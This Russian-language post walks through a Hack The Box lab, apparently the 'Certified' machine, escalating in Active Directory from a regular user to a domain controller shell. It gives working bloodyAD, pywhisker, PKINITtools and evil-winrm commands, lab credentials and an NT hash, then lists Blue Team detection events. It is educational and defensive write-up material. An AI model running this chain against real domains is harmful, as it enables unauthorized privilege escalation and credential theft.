В этом посте разберем практический сценарий эскалации привилегий в Active Directory. Также посмотрим на техники горизонтального перемещения и инструменты для анализа защищенности.

Дано: скомпрометированный рядовой пользователь.
Задача: захват сервисной учетной записи с высокими привилегиями через цепочку ACL Abuse -> Shadow Credentials -> PKINIT -> Pass-the-hash.

Исходные данные и разведка

Анализ графа BloodHound показывает следующий путь атаки:

Bloodhound Enumeration
Bloodhound Enumeration
  1. Наш текущий пользователь JUDITH.MADER обладает правом WriteOwner на группу MANAGEMENT.

  2. Группа MANAGEMENT имеет право GenericWrite на сервисную учетную запись MANAGEMENT_SVC.

  3. MANAGEMENT_SVC обладает привилегиями для удаленного доступа(в данном случае CanPSRemote / доступ к DC).


Этап 1: Перехват управления группой (ACL Abuse)

Задача: Стать участником группы MANAGEMENT, чтобы унаследовать ее права.

Механика: Право WriteOwner позволяет нам изменить владельца объекта. Как только мы становимся владельцами группы, мы можем модифицировать её DACL — выдать себе полные права (GenericAll) и добавить свою учетку в состав группы.

Эксплуатация (инструмент bloodyAD):

ACL Abuse
ACL Abuse
# 1. Захватываем владение группой
bloodyAD --host 10.10.10.10 -d certified.htb -u judith.mader -p judith09 set owner management judith.mader
# 2. Выдаем себе полные права (GenericAll) на объект группы
bloodyAD --host 10.10.10.10 -d certified.htb -u judith.mader -p judith09 add genericAll management judith.mader
# 3. Добавляем себя в группу
bloodyAD --host 10.10.10.10 -d certified.htb -u judith.mader -p judith09 add groupMember management judith.mader

Этап 2: Shadow Credentials (Lateral Movement)

Задача: Скомпрометировать учетку MANAGEMENT_SVC.

Проблема: Теперь мы в группе MANAGEMENT и у нас есть право GenericWrite на MANAGEMENT_SVC. Классический вектор здесь — Targeted Kerberoasting (прописать SPN и запросить TGS), но в нашем сценарии забрутфорсить хеш не удалось (сложный пароль).

Механика (Shadow Credentials): Право GenericWrite позволяет редактировать атрибут msDS-KeyCredentialLink. Мы генерируем собственный криптографический ключ и записываем его открытую часть в этот атрибут целевого пользователя. Это создает легитимный «теневой» мандат (сертификат) для аутентификации от имени MANAGEMENT_SVC, не затрагивая её текущий пароль.

Эксплуатация (инструмент pywhisker):

Shadow Credentials
Shadow Credentials
python3 pywhisker.py -d certified.htb -u judith.mader -p judith09 --target management_svc --action add 

Результат: pywhisker сгенерировал PFX-сертификат (в нашем случае RwBIWN2K.pfx) и пароль к нему. Атрибут жертвы обновлен.


Этап 3: Аутентификация через PKINIT и извлечение NTLM

Задача: Конвертировать полученный сертификат в NTLM-хеш для дальнейшего продвижения.

Механика:

  1. Используя PFX-сертификат, мы обращаемся к контроллеру домена (KDC) и запрашиваем билет TGT через расширение протокола Kerberos — PKINIT (Public Key Cryptography for Initial Authentication).

  2. Особенность PKINIT в том, что при успешной аутентификации KDC возвращает структуру PAC (Privilege Attribute Certificate), которая зашифрована сессионным ключом (AS-REP key) и содержит NTLM-хеш пользователя.

Эксплуатация (набор скриптов PKINITtools):

PKINIT
PKINIT
# 1. Запрашиваем TGT, используя PFX-сертификат. Сохраняем AS-REP encryption key из вывода.
python3 gettgtpkinit.py -cert-pfx RwBIWN2K.pfx -pfx-pass Kiildx10SBTj8yEJ3ic certified.htb/management_svc management_svc.ccache
# Экспортируем билет в переменную окружения
export KRB5CCNAME=/home/kali/management_svc.ccache
# 2. Извлекаем NTLM-хеш из полученного билета, используя AS-REP key
python3 getnthash.py -key '2ebec83fb9f92dc7b6684304d2645d12d8e00d46e9c3b9f6e2b455ecdef4630e' certified.htb/management_svc

Результат: Восстановлен NT-хеш: a091c1832bcdd4677c28b5a6a1295584.


Этап 4: Получение шелла

Имея валидный NTLM-хеш, используем классический Pass-the-Hash для подключения по WinRM к домен контроллеру под сервисной учетной записью.

Pass-the-Hash
Pass-the-Hash
evil-winrm -i 10.10.10.10 -u management_svc -H 'a091c1832bcdd4677c28b5a6a1295584'

Получили интерактивный шелл к домен контроллеру.

Итоговый Kill-Chain

Kill-Chain
Kill-Chain

Вывод для Blue Team

Обнаружить эту цепочку можно по следующим индикаторам:

  • Event ID 4662: Операции над объектами. Обращайте внимание на модификацию атрибута msDS-KeyCredentialLink (GUID: 5b47d60f-6090-40b2-9f37-2a4de88f3063), особенно если действие инициировано обычной учеткой, а не системой управления или DC.

  • Event ID 4768: Запрос TGT с использованием сертификата (Ticket Options: 0x40810010 для PKINIT).

  • Аудит избыточных прав (WriteOwner, GenericWrite) в связке с критичными группами и сервисными аккаунтами.

Author: Абдурахим Халчабаев | Information Security Specialist & Red Teamer

Важное уведомление: Все описанные в данной статье манипуляции проводились в изолированной лабораторной среде на платформе Hack The Box. Данный материал подготовлен исключительно в образовательных целях. Автор не несет ответственности за попытки применения данных техник в реальных инфраструктурах без соответствующего разрешения.